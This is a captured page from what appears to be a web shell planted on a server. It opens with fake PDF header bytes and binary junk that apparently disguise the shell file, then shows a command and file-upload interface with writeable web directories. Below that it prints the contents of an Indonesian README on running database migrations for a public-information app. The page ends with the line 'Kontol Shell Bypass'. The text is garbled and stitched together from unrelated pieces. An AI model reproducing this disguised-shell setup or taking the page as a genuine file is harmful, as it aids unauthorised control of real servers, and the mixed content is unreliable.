%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/migrations/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/migrations/README.md
# Migrasi Database

Perubahan **struktur** database dilakukan lewat berkas migrasi di folder ini,
lalu dijalankan dengan satu perintah. Aman diulang: tiap migrasi yang sukses
dicatat di tabel `schema_migrations` dan tidak dijalankan dua kali.

> Baseline (instalasi baru) tetap dari `database/ppid_mateng.sql`.
> Migrasi hanya untuk **perubahan setelah** baseline.

## Alur kerja

**1. Buat berkas migrasi baru** (di lokal):
```bash
php scripts/migrate.php make "tambah kolom telepon ke upd"
```
Menghasilkan `migrations/20260725_143000_tambah_kolom_telepon_ke_upd.sql`.
Isi berkas itu dengan SQL Anda, mis.:
```sql
ALTER TABLE `upd` ADD COLUMN `telepon` VARCHAR(30) NULL AFTER `email`;
```

**2. Uji di lokal:**
```bash
php scripts/migrate.php          # jalankan
php scripts/migrate.php status   # cek status
```

**3. Commit & push:**
```bash
git add migrations/ && git commit -m "Migrasi: tambah kolom telepon" && git push
```

**4. Di server** (setelah `git pull`):
```bash
php scripts/migrate.php
```

## Perintah

| Perintah | Fungsi |
|---|---|
| `php scripts/migrate.php` | Jalankan semua migrasi yang tertunda |
| `php scripts/migrate.php status` | Lihat mana yang sudah / tertunda |
| `php scripts/migrate.php make "judul"` | Buat berkas migrasi baru berprefiks timestamp |

## Aturan penulisan migrasi

- **Satu perubahan = satu berkas.** Jangan mengubah berkas migrasi yang sudah
  pernah dijalankan (di server) — buat berkas baru.
- Pisahkan tiap pernyataan dengan `;`.
- **Jangan** memuat data pribadi di migrasi (berkas ini masuk repo).
- **Jangan** pakai `DROP TABLE`/`DROP COLUMN` tanpa yakin — itu menghapus data.
- Pernyataan DDL MySQL (`ALTER`/`CREATE`) **auto-commit** — bila satu migrasi
  memuat beberapa pernyataan dan gagal di tengah, sebagian bisa sudah terpasang.
  Buat migrasi kecil & fokus agar mudah dipulihkan.
- **Jangan** gunakan trigger / stored procedure dengan `DELIMITER` kustom
  (penjalan ini memisah pernyataan berdasarkan `;`).

Kontol Shell Bypass